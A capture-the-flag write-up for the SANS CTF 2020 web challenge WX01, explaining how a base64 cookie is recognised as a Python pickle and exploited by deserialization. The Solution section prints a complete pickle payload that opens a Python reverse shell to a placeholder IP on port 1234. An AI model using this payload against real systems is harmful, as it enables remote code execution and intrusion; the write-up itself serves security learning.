CTF
  • Intro
  • HTB
    • Love
    • Aton
    • Cereal
    • Tenet
    • Tabby
    • Ophiuchi
  • CTF Competitions
    • SANS CTF 2020
      • Web
        • WE01
        • WE02
        • WE03
        • WM01
        • WM02
        • WH01
        • WX01
      • Binary
        • BE01
        • BM01
        • BM02
        • BX01
      • Crypto
        • CE01
        • CE02
      • Forensics
        • FE01
        • FE02
        • FE03
      • Network
        • NH01
Powered by GitBook
On this page
  • About The Challenge
  • Solution

Was this helpful?

  1. CTF Competitions
  2. SANS CTF 2020
  3. Web

WX01

PreviousWH01NextBinary

Last updated 4 years ago

Was this helpful?

About The Challenge

Type

Difficulty

Web

eXtreme

Solution

The last web challenge was a bit hard and it mostly depends on enumeration and researching.

From the home page it asking for our name, by entering any name the page will show the message Reload for your greeting... nothing interesting here.

By looking at the cookies I found that their is cookie stored on the website and presence in the request. The value of the cookie is KGRwMApWbmFtZQpwMQpWdGV0cwpwMgpzLg==which is base64 encoded and the decoded base64 value is:

(dp0
Vname
p1
Vtets
p2
s.

After researching I found the decoded value is python library called Pickle and it is having remote code execution vulnerability.

After I identifying that the code is vulnerable to RCE I inject a reverse shell into the code using the following command:

cos
system
(S'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
tR.

Then I base64 encode it.

Finally I entered my base64 encoded text into the input then I got the flag.

Here I created a netcat listener on my machine in order to get a reverse shell but surprisingly I got the flag from the website as output.

Flag is: whaTaPiCKle-018817